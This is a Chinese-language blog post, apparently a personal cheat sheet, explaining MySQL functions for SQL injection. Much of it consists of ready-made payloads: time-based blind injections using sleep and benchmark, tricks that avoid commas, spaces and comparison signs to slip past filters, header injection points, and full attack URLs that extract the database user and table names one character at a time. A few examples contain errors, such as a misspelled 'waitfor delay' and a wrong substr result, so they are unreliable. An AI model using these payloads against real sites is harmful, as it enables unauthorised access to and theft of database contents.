mysql注入常用函数意义意思讲解
【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
常用注入语句:
if(left(db_name(),1)='d')waitfor/**/dalay/**/'0:0:2'/**/--
or if(length(database())-8,benchmark(4000000,sha1(1)),1)
(select(0)from(select(sleep(2)))v)
Client-IP: * 注射,。
X-FORWARDED-FOR: * 注射,。
//介绍几个常用函数,都是MYSQL 查询中的使用意义:
1. version()——MySQL版本
2. user()——用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
select system_user() 查看系统用户
select current_user() 查询当前用户
SELECT version() 查询数据库版本
SELECT database() 查询当前连接的数据库
select @@basedir 查询MYSQL安装路径
我们可以通过将对应函数放到显示位中查出相应信息
//再介绍几个很有用的函数:
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
(sleep(ascii(mid(user()from(2)for(1)))=109))
这条语句是猜解user()第二个字符的ascii码是不是109,若是109,则页面加载将延迟。它:
1) 既没有用到逗号、大小于符号
2) 也没有使用空格
却可以完成数据的猜解工作,但是需要去掉后面的参数只放此语句!
比如:
concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六进制,在这里把它作为分隔符,没有它,查出来的东西就连成一片了
//在实际查的时候,有些时候可能会出错,比如@@verion_compile_os这个函数就经常出错,去掉就是了。。= =
4。substr() 函数返回字符串的一部分。
示例:substr("Hello world",1,1); 返回e
substr(data,1,1) = 'a'
substring(data,1,1) = 'a'
mid(data,1,1) = 'a' //以上这几个函数作用都是一样的,都是截取字符
不适用逗号来获取,则变为
substr(data from 1 for 1) = 'a'
5。
ord() 函数返回字符串的首个字符的 ASCII 值。
hex(substr(data,1,1)) = 61 //作用是把字符转换ASCII 值 (十六进制的ASCII 值)
hexdec(hex_string) 函数把十六进制转换为十进制。
ascii(substr(data,1,1)) = 97 //作用是把字符转换ASCII 值 (十进制的ASCII 值)
ord(substr(data,1,1)) = 97 //作用是把字符转换ASCII 值 (十进制的ASCII 值)
6。chr() 函数从指定的 ASCII 值返回字符(ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x。)。
chr(61) = ‘=’ // 十进制
chr(061) = “1” // 八进制值
chr(0x61) = “a” // 十六进制值
7。conv(N,from_base,to_base)函数的目的是将N从某个进制转换成另一个进制。
示例:conv(10,10,36) 表示把10从10进制转换为36进制,结果就是a
8。lower()函数实例代码教程 - 返回根据当前字符集映射所有字符改变为小写,即返回小写的字符串。
示例:lower(conv(10,10,36)) 如果里面的是大写的A,则返回小写的a
9。benchmark(3000000,sha1(1)) 表示执行次数,执行3000000次,查询sha1(1),因为查询次数多所以导致程序运行时间长,可以替换sleep(3),比它好。
1. 通过greatest函数绕过不能使用大小于符号的情况
10。greatest(a,b),返回a和b中较大的那个数。
示例:当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用::
greatest(ascii(mid(user(),1,1)),150)=150 结果是1,如果小于150,则上述返回值为True。
2. 通过substr函数绕过不能使用逗号的情况
ascii(substr(user() from 1 for 1)) < 150
11。IFNULL(expr1,expr2)如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。
12。DISTINCT 属于关键词,用于返回唯一不同的值(清除select查询结果的重复值,只保留一个)。
13。count(*) 它返回检索数据库表行的数目, 不论其是否包含 NULL值。一般是建议以count(字段名)查询,会返回多少数值。
count()函数里面的参数是列名的的时候,那么会计算有值项的次数。
Sum()函数里面的参数是列名的时候,是计算列名的值的相加,而不是有值项的总数。
14。CAST (expression AS data_type) 参数说明:
expression:任何有效的SQServer表达式。
AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
data_type:目标系统所提供的数据类型,包括bigint和sql_variant,不能使用用户定义的数据类型。
使用CAST函数进行数据类型转换时,在下列情况下能够被接受:
(1)两个表达式的数据类型完全相同。
(2)两个表达式可隐性转换。
(3)必须显式转换数据类型。
15。Mysql的if既可以作为表达式用,也可在存储过程中作为流程控制语句使用,如下是做为表达式使用:
IF表达式 IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。
exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。
~x 是一个一元运算符,将x按位取补。
示例:select exp(~(select*from(select user())a))
常用的一条time based盲注语句做个总结:
http://www.xxx.com/index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109)
这条语句是猜解user()第二个字符的ascii码是不是109,若是109,则页面加载将延迟。
1) 既没有用到逗号、大小于符号
2) 也没有使用空格
http://www.xxx.com/about.php?id=1&lanmu=3 AND (SELECT * FROM (SELECT(IF(ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),6,1))=108,benchmark(10000000,sha1(1)),5)))AaBb)
延时注入,用来爆破每一个CURRENT_USER()字符。
http://www.xxx.com/about.php?id=1&lanmu=3 AND (SELECT * FROM (SELECT(IF(length(CURRENT_USER())=15,benchmark(8000000,sha1(1)),5)))ABab)
延时注入,用来判断用户长度。
SELECT IFNULL( CAST( table_name AS CHAR ) , 0x20 ) FROM INFORMATION_SCHEMA.TABLESWHERE table_schema=0x77656264617461 LIMIT 0 , 1
返回数据库第一个表的名字
SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x77656264617461),1,1))!=50,0,5)))
查询数据表有多少个。
ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x77656264617461 LIMIT 0,1),4,1))>100
返回数据库第一个表的第4个字符的十进制,与100比较是不是比100小
1个控制流程操作(select, case, if(), ...)
1个比较操作(=, like, mod(), ...)
1个字符串的猜解(mid(), left(), rpad(), …)
1个字符串生成(0x61, hex(), conv())
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏